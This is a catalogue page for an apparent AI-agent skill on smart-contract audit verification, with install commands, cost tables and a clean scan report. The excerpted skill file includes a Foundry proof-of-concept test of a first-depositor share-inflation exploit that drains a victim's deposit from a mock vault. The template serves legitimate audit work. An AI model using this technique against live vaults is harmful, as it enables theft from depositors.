Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/ccashwell/evm-cortexnpx agentmods add skills/ccashwell/evm-cortex/audit-verificationWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/ccashwell/evm-cortex/audit-verification)<a href="https://agentmods.dev/skills/ccashwell/evm-cortex/audit-verification"><img src="https://agentmods.dev/badge/skills/ccashwell/evm-cortex/audit-verification/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/ccashwell/evm-cortex/audit-verification"><img src="https://agentmods.dev/badge/skills/ccashwell/evm-cortex/audit-verification.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00049 | $0.01574 |
| Opus 5.5 | $0.00020 | $0.00630 |
| Sonnet 5.5 | $0.00010 | $0.00315 |
| Haiku 4.5 | $0.00005 | $0.00157 |
Grade A, and why
audit-verification scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 211 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Finding Verification & PoC Construction
Verification Workflow
Finding Hypothesis → PoC Construction → Fork Validation → Severity Classification → Report
Every finding above Informational should have a verified PoC or clear explanation of why a PoC is not feasible.
PoC Template
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import {Test, console2} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// Import the vulnerable contracts
import {Vault} from "../src/Vault.sol";
import {MockERC20} from "./mocks/MockERC20.sol";
contract PoCShareInflation is Test {
Vault vault;
MockERC20 token;
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
token = new MockERC20("USDC", "USDC", 6);
vault = new Vault(address(token));
// Fund actors
token.mint(attacker, 2_000_000e6);
token.mint(victim, 1_000_000e6);
}
function test_PoC_firstDepositorShareInflation() public {
// Step 1: Attacker is first depositor
vm.startPrank(attacker);
token.approve(address(vault), type(uint256).max);
vault.deposit(1, attacker); // deposit 1 wei, get 1 share
console2.log("Attacker shares:", vault.balanceOf(attacker));
// Step 2: Attacker donates tokens to inflate share price
token.transfer(address(vault), 1_000_000e6);
console2.log("Vault total assets:", vault.totalAssets());
console2.log("Share price:", vault.totalAssets() * 1e6 / vault.totalSupply());
vm.stopPrank();
// Step 3: Victim deposits
vm.startPrank(victim);
token.approve(address(vault), type(uint256).max);
uint256 victimShares = vault.deposit(999_999e6, victim);
console2.log("Victim shares:", victimShares);
vm.stopPrank();
// Step 4: Attacker withdraws
vm.prank(attacker);
uint256 attackerReceived = vault.redeem(
vault.balanceOf(attacker), attacker, attacker
);
console2.log("Attacker received:", attackerReceived);
// Verify the exploit: attacker profits at victim's expense
assertGt(attackerReceived, 1_000_000e6, "attacker should profit");
uint256 victimLoss = 999_999e6 - vault.convertToAssets(victimShares);
console2.log("Victim loss:", victimLoss);
assertGt(victimLoss, 0, "victim should lose funds");
}
}
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 211 lines · 49 tokens per session scan A 7deb63b2ac53
audit-verification is a skill published in the GitHub repository ccashwell/evm-cortex (131 stars, last pushed 17d ago), licensed MIT. It adds 49 tokens to every session and 1,574 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
test-master
Generates test files, creates mocking strategies, analyzes code coverage, designs test architectures, and produces test plans and defect reports across functional, performance, and security testing disciplines. Use when writing unit tests, integration tests, or E2E tests; creating test strategies or automation…
migrate-xunit-to-xunit-v3
Migrate .NET test projects from xUnit.net v2 to xunit.v3 and fix v3 breaks. Use for package/CPM conversion, OutputType=Exe, preserving the VSTest or MTP runner (including projects currently using YTest.MTP.XUnit2), incompatible TFMs, async void tests, string-to-Type attributes, custom Fact/Theory/BeforeAfterTest…
go-testing
Trigger: Go tests, go test coverage, Bubbletea teatest, golden files. Apply focused Go testing patterns.
dart-test
DART Test: unit tests, integration tests, CI validation, and debugging.
principle-test-behavior-not-implementation
Apply when you write, change, or keep a test. Assert what the code's users can observe, so that the test fails when that behavior breaks and keeps passing when only the internals change.
restore-internals-seams-in-finally-blocks-after-each-test
When delegating a task affected by this skill, include.